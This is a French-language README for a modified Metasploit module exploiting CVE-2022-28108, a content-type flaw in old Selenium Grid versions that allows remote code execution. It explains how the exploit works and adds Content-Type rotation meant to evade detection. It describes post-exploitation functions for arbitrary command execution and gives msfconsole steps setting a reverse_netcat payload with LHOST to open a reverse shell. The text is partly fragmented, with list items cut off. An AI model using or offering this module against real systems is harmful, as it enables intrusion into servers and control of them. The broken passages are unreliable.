
Module Metasploit exploitant CVE-2022-28108 dans Selenium Grid pour l'exécution de code à distance, avec évasion de type de contenu et capacités de post-exploitation.
Ce dépôt contient une version modifiée d'un module Metasploit qui exploite une vulnérabilité d'exécution de code à distance dans les anciennes versions de Selenium Server (Grid).
Veuillez lire attentivement ce README avant d'utiliser ce code.
Remerciements au code original :
Ce module est basé sur l'excellent travail des auteurs originaux du module Metasploit pour CVE-2022-28108. La fonctionnalité principale d'exploitation de la vulnérabilité du serveur Selenium reste largement basée sur leur implémentation. Nous reconnaissons et apprécions leur contribution à la communauté de la sécurité.
'Author'). Veuillez vous référer au module original pour leurs noms spécifiques.Vulnérabilité exploitée :
Ce module cible CVE-2022-28108, une vulnérabilité de Cross-Site Request Forgery (CSRF) dans Selenium Server (Grid) versions antérieures à 4.0.0-alpha-7. Cette vulnérabilité survient car le serveur autorise des types de contenu non JSON (comme text/plain, application/x-www-form-urlencoded et multipart/form-data) pour certaines requêtes. Un attaquant peut en tirer parti pour envoyer des requêtes malveillantes, conduisant à une exécution de code à distance (RCE) sur le serveur.
Fonctionnement du code original :
Le module Metasploit original exploite cette vulnérabilité en envoyant une requête POST fabriquée vers le point de terminaison /wd/hub/session du serveur Selenium vulnérable. Cette requête utilise un Content-Type non JSON (spécifiquement text/plain) et inclut des configurations malveillantes dans les goog:chromeOptions des capacités du navigateur souhaitées. Cela permet à un attaquant de spécifier un binaire arbitraire (comme /usr/bin/python3) et des arguments à exécuter sur le serveur lorsqu'une nouvelle session de navigateur est initiée.
Modifications et améliorations dans cette version :
Ce dépôt contient une version modifiée du module Metasploit original. Les principales modifications incluent :
Content-Type différents. Cela inclut text/plain, application/x-www-form-urlencoded et multipart/form-data. Ceci est fait pour potentiellement contourner les mécanismes de filtrage ou de détection de base qui pourraient rechercher un Content-Type spécifique.execute_post_exploitation : Une nouvelle fonction execute_post_exploitation(session_response) a été ajoutée. Cette fonction est appelée après une exploitation réussie et vise à effectuer des tâches de post-exploitation de base. Dans l'implémentation actuelle, elle inclut :
execute_command_on_target : Une autre nouvelle fonction execute_command_on_target(command) a été ajoutée. Cette fonction permet l'exécution de commandes arbitraires sur le système cible après une exploitation réussie. Elle est utilisée dans la fonction execute_post_exploitation et peut être étendue pour d'autres activités de post-exploitation.Principales différences soulignées :
La différence fondamentale réside dans la méthode exploit et l'ajout des deux nouvelles fonctions.
exploit originale : Se concentrait sur l'envoi d'une seule requête avec Content-Type: text/plain.exploit modifiée : Parcourt différentes valeurs de Content-Type, en tentant l'exploitation avec chacune. En cas d'exploitation réussie, elle appelle la fonction execute_post_exploitation.execute_post_exploitation et execute_command_on_target sont des ajouts entièrement nouveaux dans cette version modifiée, offrant des capacités de post-exploitation étendues.Comment utiliser le module modifié :
.rb (par exemple, selenium_rce_extended.rb)./usr/share/metasploit-framework/modules/exploits/ ou ~/.msf4/modules/exploits/. Référez-vous à votre installation Metasploit pour l'emplacement exact.msfconsole.use exploit/selenium_rce_extended (ou le chemin où vous avez enregistré le fichier si vous l'avez placé dans un sous-répertoire).msf6 exploit(selenium_rce_extended) > set RHOSTS <target_ip>
msf6 exploit(selenium_rce_extended) > set RPORT <target_port>
(Le port par défaut pour Selenium Grid est souvent 4444).msf6 exploit(selenium_rce_extended) > set PAYLOAD cmd/unix/reverse_netcat
msf6 exploit(selenium_rce_extended) > set LHOST <your_ip>
msf6 exploit(selenium_rce_extended) > set LPORT <your_port>
exploit.Considérations importantes (Avertissement) :
Clause de non-responsabilité :
Le(s) auteur(s) de ce code modifié ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par l'utilisation de ce module. En utilisant ce code, vous acceptez d'assumer l'entière responsabilité de vos actions.
Licence :
Ce code modifié est probablement couvert par la même licence que le Framework Metasploit original (généralement la licence MSF). Veuillez vous référer à la licence originale du Framework Metasploit pour plus de détails.
Contributions :
Les contributions et améliorations de ce module sont les bienvenues. N'hésitez pas à soumettre des pull requests avec des corrections de bugs, des améliorations ou de nouvelles fonctionnalités.
Remerciements :
Nous réitérons notre gratitude envers les auteurs originaux du module Metasploit pour CVE-2022-28108. Leur travail constitue la base de ce module modifié.